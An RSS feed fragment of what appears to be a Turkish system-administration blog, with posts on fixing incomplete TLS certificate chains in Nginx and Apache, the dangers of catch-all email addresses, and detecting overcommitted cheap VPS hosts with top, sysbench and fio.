<h2>Patolojinin Gelişimi: Kopuk Halka (The Missing Link)</h2>
<p>Sertifikayı satın aldığınızda veya Let's Encrypt oluşturduğunda size iki temel dosya verilir:</p>
<ol>
<li><code>certificate.crt</code> (Yalnızca sizin sunucu sertifikanız)</li>
<li><code>ca-bundle.crt</code> / <code>intermediate.crt</code> (Ara sertifika zinciri)</li>
</ol>
<p>Acemi sistem yöneticisi Nginx yapılandırmasını açar:</p>
<pre><code class="language-nginx"># ÖLÜMCÜL HATA: Yalnızca sunucu sertifikasını göstermek!
ssl_certificate /etc/ssl/certs/certificate.crt;
ssl_certificate_key /etc/ssl/private/private.key;
</code></pre>
<p>Sunucu istemciyle el sıkışırken (TLS Handshake) yalnızca kendi sertifikasını uzatır. Ara sertifikayı istemciye sunmaz!</p>
<h3>Neden Telefonda Açılır da Bilgisayarda Patlar?</h3>
<p>İşte kafa karışıklığının koptuğu nokta burasıdır:</p>
<ol>
<li><strong>Akıllı Telefonlar ve Modern Chrome (AIA Fetching):</strong><br>
Mobil tarayıcılar (iOS Safari ve Android Chrome) son derece toleranslıdır. Sertifikada yer alan <code>Authority Information Access (AIA)</code> alanındaki URL'yi okur. Eksik olan ara sertifikayı arka planda internetten kendisi indirir veya yerel önbelleğinde (cache) daha önce başka bir siteden öğrendiği ara sertifikayı kullanarak zinciri kendisi tamamlar! Site sorunsuz açılır.</li>
<li><strong>Kurumsal Masaüstü Bilgisayarlar ve Eski Tarayıcılar:</strong><br>
Windows üzerindeki Firefox, katı grup politikalarıyla yönetilen şirket bilgisayarları, Linux istemcileri, cURL kütüphaneleri ve mobil API istemcileri (mobil uygulamalar) bu toleransı göstermez! AIA fetching yapmazlar.<br>
Zincirde bir halka eksikse, tarayıcı kararını anında verir:<br>
<code>NET::ERR_CERT_AUTHORITY_INVALID</code> veya <code>SEC_ERROR_UNKNOWN_ISSUER</code>.<br>
Kullanıcının karşısına o kırmızı tehlike ekranı dikilir: <em>"Saldırganlar şifrelerinizi çalmaya çalışıyor olabilir!"</em></li>
</ol>
<p>Müşteri o siteden anında kaçar; şirket yöneticisi ise mobil telefonunda sitenin açıldığını iddia ederek teknik ekibi savunmaya devam eder.</p>
<hr>
<h2>Tanı ve Teşhis: Terminalde Dedektiflik</h2>
<p>Bu hatayı anlamak için tarayıcıların toleranslı arayüzünden çıkıp <code>openssl</code> aracıyla doğrudan el sıkışma paketlerini incelemek gerekir:</p>
<pre><code class="language-bash"># Sunucunun sunduğu sertifika zincirini test edin:
openssl s_client -connect example.com:443 -servername example.com

# EĞER ZİNCİR EKSİKSE ÇIKTI ŞÖYLEDİR:
# Certificate chain
#  0 s:CN = example.com
#    i:C = US, O = Let's Encrypt, CN = R3
# Verify return code: 21 (unable to verify the first certificate) ❌
</code></pre>
<p>Çıktıda yalnızca <code>0</code> numaralı sertifika vardır; <code>1</code> numaralı ara sertifika yoktur! Doğrulama kodu <code>21</code>: <em>"İlk sertifika doğrulanamadı!"</em></p>
<p>Aynı şekilde ücretsiz <strong>Qualys SSL Labs (ssllabs.com)</strong> testi çalıştırıldığında dev bir turuncu uyarı çıkar:<br>
<code>Chain issues: Incomplete. Grade capped to B!</code></p>
<hr>
<h2>Cerrahi Operasyon: fullchain.pem Oluşturmak</h2>
<p>Bu patolojiyi düzeltmek Nginx veya Apache yapılandırmasında sertifika dosyalarını doğru hiyerarşiyle birleştirmekten ibarettir.</p>
<h3>Nginx İçin Doğru Reçete:</h3>
<p>Nginx, sunucu sertifikası ile ara sertifikaların <strong>tek bir dosya içinde ardışık olarak</strong> bulunmasını şart koşar. Bu birleşik dosyaya <code>fullchain.pem</code> veya <code>bundle.crt</code> denir.</p>
<p>Dosyaları doğru sırada birleştirin:</p>
<pre><code class="language-bash"># SIRALAMA ÇOK ÖNEMLİDİR!
# Önce SİZİN sertifikanız, ardından ARA sertifika (CA Bundle) gelmelidir!
cat example_com.crt ca_bundle.crt > fullchain.crt
</code></pre>
<p>Ardından Nginx yapılandırmasına bu birleşik dosya verilir:</p>
<pre><code class="language-nginx">server {
    listen 443 ssl http2;
    server_name example.com;

    # YALNIZCA KENDİ SERTİFİKANIZI DEĞİL, BİRLEŞİK DOSYAYI VERİN!
    ssl_certificate /etc/ssl/certs/fullchain.crt;
    ssl_certificate_key /etc/ssl/private/example_com.key;

    # ...
}
</code></pre>
<p>Nginx'i yeniden yükleyin:</p>
<pre><code class="language-bash">sudo nginx -t &#x26;&#x26; sudo systemctl reload nginx
</code></pre>
<p>Tekrar <code>openssl s_client</code> çalıştırdığınızda zincirin tamamlandığını görürsünüz:</p>
<pre><code class="language-text">Certificate chain
 0 s:CN = example.com
   i:C = US, O = Let's Encrypt, CN = R3
 1 s:C = US, O = Let's Encrypt, CN = R3
   i:C = US, O = Internet Security Research Group, CN = ISRG Root X1
Verify return code: 0 (ok) ✅
</code></pre>
<hr>
<h3>Apache İçin Doğru Reçete:</h3>
<p>Apache 2.4.8 öncesi sürümlerde ara sertifika ayrı bir direktifle tanımlanırdı:</p>
<pre><code class="language-apache">SSLCertificateFile /etc/ssl/certs/example_com.crt
SSLCertificateKeyFile /etc/ssl/private/example_com.key
SSLCACertificateFile /etc/ssl/certs/ca_bundle.crt
</code></pre>
<p>Modern Apache sürümlerinde (2.4.8 ve sonrası) Nginx gibi doğrudan <code>fullchain.crt</code> dosyasını <code>SSLCertificateFile</code> satırına vermek en temiz yöntemdir.</p>
<hr>
<h2>API ve Mobil Uygulama Çöküşleri: Arka Planda Ölen İstekler</h2>
<p>Bu hatanın en tehlikeli kurbanları web kullanıcıları değil, mobil uygulamalardır (iOS / Android Native App).</p>
<p>Web tarayıcıları eksik halkayı AIA ile bir şekilde yamamaya çalışırken; iOS ve Android'in yerel HTTP kütüphaneleri (URLSession, OkHttp), güvenlik gereği eksik zincirli bir TLS bağlantısını <strong>anında reddeder</strong>.</p>
<ul>
<li>Kullanıcı web sitesini telefonun Safari tarayıcısında açar: Site çalışır.</li>
<li>Kullanıcı şirketin mobil uygulamasını açar: Ekranda sonsuz yükleme ikonu döner, "Ağ bağlantısı kurulamadı" hatası verir!</li>
<li>Geliştirici haftalarca mobil uygulamadaki Swift/Kotlin kodlarında bug arar; oysa tek suçlu Nginx'te eksik bırakılmış 1 kilobaytlık ara sertifika metnidir.</li>
</ul>
<h2>Sonuç</h2>
<p>Sterilizasyon zincirinin tek bir halkasını koparırsanız, ameliyatınız artık steril değildir; bazı hastaların bağışıklığının bunu tolere edebilmesi sizin haklı olduğunuzu göstermez.</p>
<p>SSL/TLS bir his meselesi değil, matematiksel ve hiyerarşik bir güven zinciridir. Kendi telefonunuzda yeşil kilidi görmeniz işinizin bittiği anlamına gelmez. Sertifikanızı kurduktan sonra mutlaka <code>openssl</code> veya SSL Labs ile zincirin tamlığını doğrulayın. Eksik halkayı sunucunuza ekleyin; masaüstü müşterilerinizi ve mobil API servislerinizi kapıda şüpheli damgasıyla geri çevirmeyin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>SSL</category>
            <category>TLS</category>
            <category>CA Bundle</category>
            <category>Intermediate Certificate</category>
            <category>Nginx</category>
            <category>Güvenlik</category>
            <category>Ağ Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sertifika-zincirinde-eksik-halka-telefonda-acilip-bilgisayarda-patlayan-siteler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[E-Posta Havuzunda 'Catch-All' Açmanın Bedeli: Botların Hedefi Olan Gelen Kutuları]]></title>
            <link>http://localhost:3000/blog/post/e-posta-havuzunda-catch-all-acmanin-bedeli-botlarin-hedefi-olan-gelen-kutulari</link>
            <guid>e-posta-havuzunda-catch-all-acmanin-bedeli-botlarin-hedefi-olan-gelen-kutulari</guid>
            <pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA['Bize gelen hiçbir mail kaçmasın' mantığıyla cPanel üzerinde Catch-All (Varsayılan Adres) açan ve günde yüz binlerce sözlük saldırısı spam'iyle sunucu diskini dolduran şirketlerin kabusu.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/e-posta-havuzunda-catch-all-acmanin-bedeli-botlarin-hedefi-olan-gelen-kutulari/thumbnail" alt=""> Hastanelerin acil servis triyajında en temel kural, kapıdan giren her vakanın sıkı bir filtrelemeden geçirilmesidir. Sağlık güvencesi, kimlik tespiti, vital bulgular ve şikayet dinlenir; sahipsiz paketler, zehirli atıklar veya hastaneyle ilgisi olmayan çöpler kapıdan içeri sokulmaz. Şimdi hastane başhekiminin akıl almaz bir genelge yayınladığını düşünün: <em>"Hastanemizin dış bahçe kapısından içeri atılan veya kapıya bırakılan her şeyi; sahipsiz kolileri, sokak çöplerini, kimliği belirsiz zarfları ve zehirli atıkları hiçbir kontrolden geçirmeden doğrudan benim makam odama ve steril yoğun bakım ünitesine taşıyın! Tek bir hastayı veya mektubu bile kaçırmak istemiyorum!"</em> Bir hafta sonra ne olur? Sokaktaki tüm atık toplayıcıları, kimyasal atık üreticileri ve dolandırıcılar çöplerini o bahçeye döker. Başhekimlik odası ve yoğun bakım ünitesi tıbbi bir merkez olmaktan çıkıp kokudan girilemeyen zehirli bir çöplüğe dönüşür. Hastanenin tüm fonksiyonları felç olur.</p>
<p>Kurumsal bilişimde ve web barındırma yönetiminde cPanel, Plesk veya Postfix üzerinde <strong>Catch-All (Varsayılan Adres / Yakalayıcı)</strong> özelliğini aktif etmek, tam olarak hastanenin kapısını şehrin tüm çöplerine ardına kadar açmaktır.</p>
<hr>
<h2>"Hiçbir Mail Kaçmasın" Esnaf Mantığı</h2>
<p>Bir şirket yeni bir domain tescil ettiğinde ve kurumsal e-posta altyapısını kurduğunda, şirket sahibinin veya pazarlama müdürünün aklına o "parlak" fikir gelir:<br>
<em>"Müşteri bize mail atarken 'muhasebe@' yerine yanlışlıkla 'muasebe@' yazabilir. Veya 'ahmet@' yerine 'amet@' yazabilir. Biz cPanel'e girelim, 'Varsayılan Adres' (Catch-All) ayarını açalım. <code>@sirket.com.tr</code> ile biten, var olmayan hangi adrese mail gelirse gelsin hepsini benim kişisel kutuma (<code>patron@sirket.com.tr</code>) yönlendirsin!"</em></p>
<p>İlk bakışta bu fikir ticari açıdan masum ve müşteri odaklı görünür. Ancak bu kararı veren kişi, internetin karanlık yüzünden ve otomatik spam botlarının çalışma mekanizmasından tamamen habersizdir.</p>
<hr>
<h2>Sözlük Saldırıları (Directory Harvest Attack) ve Bot Çiftlikleri</h2>
<p>Spam göndericileri ve siber dolandırıcılar oturup şirketlerin web sitelerindeki iletişim adreslerini elle toplamazlar. Dünya genelindeki milyonlarca domaini <strong>Directory Harvest Attack (Dizin Hasat Saldırısı)</strong> ile durmaksızın bombardımana tutarlar.</p>
<p>Botlar devasa sözlük listelerini (wordlists) kullanarak alan adınıza rastgele e-postalar fırlatır:</p>
<ul>
<li><code>admin@sirket.com.tr</code>, <code>info@sirket.com.tr</code>, <code>sales@sirket.com.tr</code></li>
<li><code>john@sirket.com.tr</code>, <code>david@sirket.com.tr</code>, <code>mehmet@sirket.com.tr</code></li>
<li><code>a1@sirket.com.tr</code>, <code>test@sirket.com.tr</code>, <code>finance@sirket.com.tr</code></li>
<li><code>asdasd@sirket.com.tr</code>, <code>x982z@sirket.com.tr</code>, <code>fatura_pdf@sirket.com.tr</code></li>
</ul>
<pre><code>NORMAL DURUM (Catch-All KAPALI):
[Spam Botu: asdfg@sirket.com] ───► [Sunucu (Exim)] ───► "Böyle bir kullanıcı YOK!" (550 No such user)
                                                             │
                                                             ▼
                                                    Mail ANINDA REDDEDİLİR!
                                                    Sunucu diskine yazılmaz, CPU yorulmaz.

CATCH-ALL AÇIK DURUMDA:
[Spam Botu: asdfg@sirket.com] ───► [Sunucu (Exim)] ───► "Catch-All açık! Patronun kutusuna at!"
                                                             │
                                                             ▼
                                                    [patron@sirket.com Gelen Kutusu]
                                                    - Günde 85.000 Spam Mail!
                                                    - Eklerde Zararlı Yazılımlar (Ransomware)
                                                    - 3 Günde 50 GB Disk Tüketimi!
                                                    - Antivirüs / SpamAssassin CPU %100!
</code></pre>
<p>Eğer Catch-All kapalıysa, sunucunuz gelen isteğe saniyenin binde birinde <code>550 No such user here</code> yanıtını basar ve SMTP el sıkışmasını anında keser. Mail sunucuya hiç girmez, diske tek bir bayt bile yazılmaz.</p>
<p>Ancak Catch-All açıksa sunucunuz o botun fırlattığı tüm çöpleri kucaklar, diskine yazar, virüs taramasından geçirir ve patronun gelen kutusuna yığar!</p>
<hr>
<h2>Patolojinin Gelişimi: Felaketin 3 Aşaması</h2>
<p>Catch-All açıldıktan sonraki ilk 72 saat içinde şirket altyapısı üç büyük darbe alır:</p>
<h3>1. E-Posta Kutusunun ve İnsan Zihninin Felç Olması</h3>
<p>Patron sabah Outlook'unu açtığında gelen kutusunda 45.000 okunmamış e-posta görür: Sahte Rolex reklamları, kripto para dolandırıcılıkları, kimlik avı tuzakları, cinsel içerikler...<br>
Gerçek müşteriden gelen o hayati 100 bin dolarlık ihale teklifi, bu 45 binlik çöp yığınının arasında kaybolur. Şirket personeli tüm mesaisini e-posta silmeye harcar.</p>
<h3>2. Güvenlik Duvarlarının Çökmesi (Phishing Riski)</h3>
<p>Gelen kutusuna düşen bu binlerce e-postanın önemli bir kısmı faturaymış gibi görünen zararlı Excel makroları veya fidye yazılımları (Ransomware) içerir. Şirketteki bir çalışanın "Aaa bana fatura gelmiş" diyerek bu eklere tıklaması, şirketin tüm yerel ağının ve veritabanının kilitlenmesiyle sonuçlanır.</p>
<h3>3. Sunucu Kaynaklarının Tükenmesi (I/O ve CPU Krizi)</h3>
<p>Gelen her e-posta için sunucuda çalışan SpamAssassin ve ClamAV gibi güvenlik araçları devreye girer. Günde 100.000 e-postayı analiz etmeye çalışan bir sunucunun CPU kullanımı anında %100'e vurur. Posta sunucusu kilitlenir, meşru e-postaların alımı ve gönderimi saatlerce gecikir. Diskteki kotalar dolar ve web sitesi bile çalışamaz hale gelir.</p>
<hr>
<h2>Backscatter (Geri Saçılma) Felaketi: IP'nin Kara Listeye Girmesi</h2>
<p>Catch-All açmanın en tehlikeli yan etkisi <strong>Backscatter (Geri Saçılma)</strong> saldırısıdır.</p>
<p>Birçok acemi yönetici Catch-All ayarını "Gelen mailleri patrona yönlendir" şeklinde değil; "Bilinmeyen bir adres geldiyse gönderene hata raporu (Bounce Message) at" şeklinde yapılandırır.</p>
<p>Spam botları sahte gönderici adresleri (spoofed sender) kullanır. Örneğin spam gönderen bot, e-postanın göndericisini <code>billgates@microsoft.com</code> olarak gösterir ve sizin alan adınızdaki olmayan <code>x912@sirket.com.tr</code> adresine mail atar.</p>
<p>Sunucunuz bu maili alır, "Böyle bir adres yok" der ve gönderici görünen masum <code>billgates@microsoft.com</code> adresine otomatik bir hata raporu (NDR - Non-Delivery Report) postalar!<br>
Günde 100.000 masum insana sizin sunucunuzdan "Hata raporu" adı altında spam mail fırlatılmış olur!</p>
<p>Sonuç: Microsoft, Gmail ve Spamhaus sizin sunucunuzu bir spam kaynağı (Backscatter Source) olarak ilan eder ve IP adresinizi dünya genelinde kara listeye (RBL) alır. Artık hiç kimseye meşru tek bir e-posta bile gönderemezsiniz.</p>
<hr>
<h2>Klinik Çözüm ve Doğru İletişim Mimarisi</h2>
<p>Bir şirketin iletişim stratejisi "her şeyi yakala" tembelliği üzerine kurulamaz. Doğru reçete kesindir:</p>
<h3>1. Catch-All Kesin Olarak Kapatılmalıdır (:fail:)</h3>
<p>cPanel veya sunucu yapılandırmasında Default Address (Varsayılan Adres) seçeneği derhal şu ayara getirilmelidir:<br>
<strong><code>:fail: No such user here</code></strong> (veya <code>:drop:</code>).</p>
<pre><code>cPanel -> E-Posta -> Varsayılan Adres (Default Address):
(•) Hatayla birlikte iletileri sil (gönderene iletinin teslim edilmediğini bildir)
     Hata Mesajı: "No such person at this address."
</code></pre>
<p>Bu ayar seçildiği an sunucu, veritabanında açıkça tanımlanmamış her e-postayı SMTP düzeyinde kapıda reddeder. Sunucu diski ve CPU'su sıfır yükle çalışır.</p>
<hr>
<h3>2. Yazım Hataları İçin E-Posta Yönlendiricileri (Aliases) Kullanın</h3>
<p>Eğer müşterilerin "muhasebe" yerine "muasebe" yazmasından gerçekten endişe ediyorsanız, çözümü kapıyı sonuna kadar açmak değildir. Hedefe yönelik cerrahi tüneller (Alias) açmaktır:</p>
<pre><code class="language-text"># cPanel E-Posta Yönlendiricileri (Forwarders):
muasebe@sirket.com.tr   ───► muhasebe@sirket.com.tr
muhasabe@sirket.com.tr  ───► muhasebe@sirket.com.tr
sales@sirket.com.tr     ───► satis@sirket.com.tr
</code></pre>
<p>Yalnızca tahmin edilebilir 3-5 yazım hatası için kontrollü yönlendirme açılır. Kalan tüm kapılar botların yüzüne kilitlenir.</p>
<h2>Sonuç</h2>
<p>Hastanenin bahçe kapısından giren her çöpü başhekimin odasına dolduran bir hastane yöneticisi sağlık hizmeti veremez; sunucusunda Catch-All açıp tüm internetin bot trafiğini gelen kutusuna davet eden bir işletme de dijital dünyada ayakta kalamaz.</p>
<p>Filtrelenmemiş her veri akışı bir varlık değil, operasyonel bir kirliliktir. Gelen kutularınızı temiz, sunucunuzun nefesini ferah tutun. Her şeyi yakalamaya çalışmayın; meşru olanı kabul edin, sahipsiz çöpleri ise kapıda acımasızca reddedin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Catch-All</category>
            <category>E-Posta</category>
            <category>Spam</category>
            <category>cPanel</category>
            <category>SysAdmin</category>
            <category>Hosting</category>
            <category>Güvenlik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/e-posta-havuzunda-catch-all-acmanin-bedeli-botlarin-hedefi-olan-gelen-kutulari/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[En Ucuz 2 Dolar VDS Vaadi ve Overcommit Bataklığı]]></title>
            <link>http://localhost:3000/blog/post/en-ucuz-2-dolar-vds-vaadi-ve-overcommit-batakligi</link>
            <guid>en-ucuz-2-dolar-vds-vaadi-ve-overcommit-batakligi</guid>
            <pubDate>Mon, 12 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[16 çekirdekli tek bir fiziksel sunucuya 200 adet sanal sunucu tıkıştıran merdiven altı sağlayıcılar, %80 CPU Steal oranı ve akşam saatlerinde çöken e-ticaret siteleri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/en-ucuz-2-dolar-vds-vaadi-ve-overcommit-batakligi/thumbnail" alt=""> Hastanelerde acil gözlem veya yoğun bakım servislerinin kapasite planlaması katı kurallara bağlıdır. 4 yataklı bir yoğun bakım odasında 4 adet merkezi oksijen çıkışı, 4 adet monitör ve her hastanın başında duracak belirli sayıda sağlık personeli bulunur. Şimdi para hırsıyla gözü dönmüş bir klinik sahibinin, "Yatak başına 50 TL alacağıma 5 TL alırım, odaya 60 tane sedyeyi üst üste ranza gibi dizerim" dediğini düşünün. 4 kişilik oksijen santraline 60 hastanın hortumunu paralel bağlar. Her hastaya sırayla dakikada sadece 2 saniye oksijen verilir! Akşam olup hastaların solunum yükü arttığında odadaki tüm hastalar morarmaya başlar, kardiyak arrestler peş peşe gelir. Klinik sahibinin yoğun bakım kapısında toplanan hasta yakınlarına yaptığı savunma ise yüzsüzlüğün zirvesidir: <em>"Biz hastalarınıza son model yatak ve oksijen verdik, ama hastalarınızın akciğerleri çok zayıf, nefes almayı beceremiyorlar, gidin hastalarınıza ciğer eğitimi aldırın!"</em></p>
<p>Türkiye ve dünya hosting pazarında "Aylık 2 Dolar / 50 TL'ye 8 Core CPU, 16 GB RAM VDS!" vaadiyle müşteri toplayan merdiven altı sağlayıcıların yaptığı şey, hastaları üst üste istifleyen bu klinik sahibinin dijital sahtekarlığından bir milimetre bile farklı değildir.</p>
<hr>
<h2>Overcommit (Aşırı Satış) Felsefesi: Fizik Kurallarını Bükme Çabası</h2>
<p>Bir sanal sunucu (VPS/VDS) kiraladığınızda, fiziksel bir sunucunun (Dedicated Node) donanım kaynaklarının bir hipervizör (KVM, Proxmox, VMware ESXi) aracılığıyla bölümlenmiş bir parçasını satın alırsınız.</p>
<p>Fiziksel dünyada bir sunucunun kapasitesi bellidir:</p>
<ul>
<li>Örneğin: 2x Intel Xeon E5-2680 v4 (Toplam 28 Fiziksel Çekirdek, 56 Thread)</li>
<li>128 GB DDR4 ECC RAM</li>
<li>4x 1 TB SATA SSD (Yazılım RAID 10)</li>
</ul>
<p>Bu sunucunun elektrik, veri merkezi barındırma (colocation), hat (port) ve amortisman maliyetini hesapladığınızda aylık minimum 100-150 dolar bir gideri vardır.</p>
<p>Peki, bir firma nasıl olur da bu sunucudan aylık 2 dolara (50-70 TL) sanal sunucu satabilir?<br>
Matematik basittir: <strong>Overcommit (Aşırı Tahsis / Balon Satış).</strong></p>
<pre><code>+------------------------------------------------------------------------+
|           FİZİKSEL GERÇEKLİK: 56 Thread İşlemci &#x26; 128 GB RAM           |
|                                                                        |
|  Normal / Profesyonel Dağıtım (1:1 veya 1:2 Oran):                     |
|  - 25-30 Adet Sanal Sunucu Kurulur.                                    |
|  - Her sanal makine ödediği donanımı tam kapasite kullanır.            |
|                                                                        |
|  "2 Dolarlık Merdiven Altı" Dağıtım (1:8 veya 1:15 Oran):              |
|  - Aynı makinenin içine TAM 250 ADET SANAL SUNUCU TIKIŞTIRILIR!        |
|  - Toplam Vadedilen CPU: 250 x 4 Core = 1.000 Core! (Fiziki: 56)       |
|  - Toplam Vadedilen RAM: 250 x 8 GB = 2.000 GB RAM! (Fiziki: 128 GB)   |
+------------------------------------------------------------------------+
</code></pre>
<p>Sağlayıcı şunu varsayar: <em>"Bu 250 müşterinin hepsi aynı anda sunucuyu kullanmaz. Biri uyur, birinin sitesine kimse girmez, biri sadece boş panel tutar. Ben olmayan kaynağı herkese vadedeyim, parayı toplayayım."</em></p>
<hr>
<h2>Patolojinin Gelişimi: Akşam 20:00 ve CPU Steal Kabusu</h2>
<p>Gündüz saatlerinde sunucuların çoğu boştayken sistem stabil gibi görünür. Geliştirici terminale girer, <code>htop</code> açar, her şey yolundadır.</p>
<p>Ancak saatler akşam 20:00'yi gösterdiğinde felaket başlar:</p>
<ul>
<li>Aynı fiziksel makinedeki 1. komşu sunucu kaçak dizi sitesi yayını yapmaya başlar.</li>
<li>
<ol start="2">
<li>komşu arka planda gizlice CPU ile Monero madenciliği (XMRig) başlatır.</li>
</ol>
</li>
<li>
<ol start="3">
<li>komşunun WordPress sitesine Google botları saldırır.</li>
</ol>
</li>
<li>
<ol start="4">
<li>komşu veritabanı yedeği almaya çalışır.</li>
</ol>
</li>
</ul>
<p>56 fiziksel çekirdek saniyeler içinde %100 doyum noktasına ulaşır. Sizin 2 dolarlık sunucunuza tahsis edilmiş olan 4 çekirdeğe işlemci zamanı (CPU Time Slice) düşmemeye başlar.</p>
<p>Terminali açıp <code>top</code> yazdığınızda ekrandaki o gizli katili görürsünüz: <strong><code>%st</code> (CPU Steal).</strong></p>
<pre><code class="language-text">top - 20:45:12 up 14 days,  2:14,  1 user,  load average: 18.42, 14.12, 9.85
Tasks: 142 total,   2 running, 140 sleeping,   0 stopped,   0 zombie
%Cpu(s):  2.1 us,  1.4 sy,  0.0 ni, 12.5 id,  4.2 wa,  0.0 hi,  0.2 si, 79.6 st 🔴
</code></pre>
<p>Ekranda parlayan o <strong><code>79.6 st</code></strong> değeri, sunucunuza atılan en büyük tokattır.</p>
<ul>
<li><strong>CPU Steal Nedir?</strong> Sanal makinenizin işlemciye bir iş göndermek istediğini, ancak alttaki hipervizörün sizin çekirdeğinizi zorla elinizden alıp komşu sanal makinelerin işlerini yetiştirmek için çaldığını gösteren yüzdedir!</li>
<li>%80 Steal demek; işlemcinizin gücünün %80'inin komşular tarafından gasp edildiği, sizin sunucunuzun ise saniyede sadece 0.2 saniye nefes alabildiği anlamına gelir.</li>
</ul>
<hr>
<h2>"Kodunuzda Optimizasyon Sorunu Var!" Pişkinliği</h2>
<p>Site açılmaz. MySQL basit bir <code>SELECT</code> sorgusuna 45 saniyede yanıt veremez. Nginx <code>504 Gateway Time-out</code> basar. Müşteriler siteden kaçar.</p>
<p>Çaresiz kalan kullanıcı sağlayıcıya yüksek öncelikli bir destek bileti açar:<br>
<em>"Sunucum kilitlendi, basit bir WordPress sitesi bile açılmıyor, load average 20'ye vurdu, sunucuma ne yaptınız?!"</em></p>
<p>Merdiven altı sağlayıcının destek personeli ezberletilmiş kalıp yanıtı yapıştırır:<br>
<em>"Sayın müşterimiz, sunucu donanımlarımızda ve ana makinemizde (Node) hiçbir arıza bulunmamaktadır. Kaynak tüketiminiz incelendiğinde MySQL servisinizin aşırı bellek ve CPU tükettiği görülmüştür. Sunucunuz unmanaged (yönetimsiz) paket kapsamındadır. Lütfen web sitenizin kodlarını optimize ediniz veya bir üst paketimiz olan 16 Core VDS paketine geçiş yapınız."</em></p>
<p>Bu, oksijen tüpünü çaldığı hastaya "Nefes almayı bilmiyorsun" diyen klinik sahibinin ahlaki çürümesidir.</p>
<hr>
<h2>Sadece CPU Değil: Disk I/O ve IOPS Boğulması</h2>
<p>Overcommit sadece işlemciyle sınırlı kalmaz. 250 sanal makinenin aynı 4 adet SATA SSD'ye aynı anda rastgele yazma (Random Write) yapmaya çalıştığını hayal edin.</p>
<p>SSD'nin IOPS (Saniyedeki Girdi/Çıktı Sayısı) kapasitesi 5.000 IOPS olsun:</p>
<ul>
<li>250 makineye bölündüğünde makine başına <strong>20 IOPS</strong> düşer!</li>
<li>20 IOPS, 1998 yılından kalma bir 5400 RPM mekanik laptop diskinden bile daha yavaştır!</li>
</ul>
<p>Komşulardan biri <code>tar -czf</code> veya <code>mysqldump</code> başlattığı an, diskin kuyruk süresi (iowait / <code>%wa</code>) %90'lara fırlar. Sizin sunucunuzda tek bir dosya bile açılamaz; komut satırında <code>ls</code> yazarsınız, imleç 10 saniye donar kalır.</p>
<hr>
<h2>VPS ile VDS Arasındaki Ayrım ve Profesyonel Seçim</h2>
<p>Piyasada bu tuzaktan kaçınmak için terminolojiyi ve sanallaştırma mimarisini doğru okumak gerekir:</p>
<table>
<thead>
<tr>
<th align="left">Parametre</th>
<th align="left">Merdiven Altı Ucuz VPS</th>
<th align="left">Profesyonel VDS / Bulut Makinesi</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><strong>Sanallaştırma</strong></td>
<td align="left">OpenVZ, LXC veya aşırı bindirilmiş KVM</td>
<td align="left">Saf KVM, Proxmox (Dedicated vCPU) veya AWS Nitro</td>
</tr>
<tr>
<td align="left"><strong>CPU Tahsisi</strong></td>
<td align="left">1:10 Overcommit (Paylaşımlı / Çalınabilir)</td>
<td align="left"><strong>1:1 Pinlenmiş (Dedicated vCPU)</strong></td>
</tr>
<tr>
<td align="left"><strong>CPU Steal (%st)</strong></td>
<td align="left">Akşamları %30 - %80 arası</td>
<td align="left"><strong>Daima %0.0 - %0.5</strong></td>
</tr>
<tr>
<td align="left"><strong>Disk İzolasyonu</strong></td>
<td align="left">Ortak SATA/NVMe, limitsiz komşu gürültüsü</td>
<td align="left">Donanımsal IOPS Limiti (QoS) &#x26; Ceph/NVMe SAN</td>
</tr>
<tr>
<td align="left"><strong>Fiyat</strong></td>
<td align="left">Aylık 2<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>−</mo><mn>3</mn></mrow><annotation encoding="application/x-tex"> - 3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">3</span></span></span></span> (İmkânsız fiyat)</td>
<td align="left">Piyasa rayici (15<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>−</mo><mn>50</mn></mrow><annotation encoding="application/x-tex"> - 50</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">50</span></span></span></span>+)</td>
</tr>
</tbody>
</table>
<h3>Sunucunuzun Dolandırıldığını Test Etme Formülü:</h3>
<p>Sunucunuzu kiraladığınız ilk gün şu iki testi mutlaka çalıştırın:</p>
<pre><code class="language-bash"># 1. Sysbench ile saf CPU performansını ölçün:
sysbench cpu --cpu-max-prime=20000 run

# 2. FIO ile diskinizin gerçek IOPS ve gecikme (latency) değerini ölçün:
fio --name=randwrite --ioengine=libaio --iodepth=1 --rw=randwrite --bs=4k --direct=1 --size=512M --numjobs=2 --runtime=30 --group_reporting
</code></pre>
<p>Eğer FIO testinde gecikme (latency) 50 milisaniyenin üzerindeyse ve akşam saatlerinde sysbench skoru gündüze göre yarı yarıya düşüyorsa; tebrikler, 250 kişilik bir mülteci kampında barınıyorsunuz.</p>
<h2>Sonuç</h2>
<p>Yoğun bakımda 4 kişilik odaya 60 sedye koyan hastaneden şifa bulamazsınız; 2 dolara 8 çekirdek vaat eden merdiven altı sağlayıcıdan da işinize yarayacak bir altyapı çıkaramazsınız.</p>
<p>Mühendislikte bedava peynir sadece kapanlarda bulunur. Bir sunucunun maliyeti bellidir; size piyasa fiyatının onda birine satılan bir hizmet varsa, o hizmetin ürünü donanım değil; sizin sabrınız, zamanınız ve o sunucuda telef olan müşteri trafiğinizdir. Altyapınızı ucuzluğun bataklığına değil, garantili kaynakların (Dedicated Resources) sağlam zeminine inşa edin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>VDS</category>
            <category>VPS</category>
            <category>Overcommit</category>
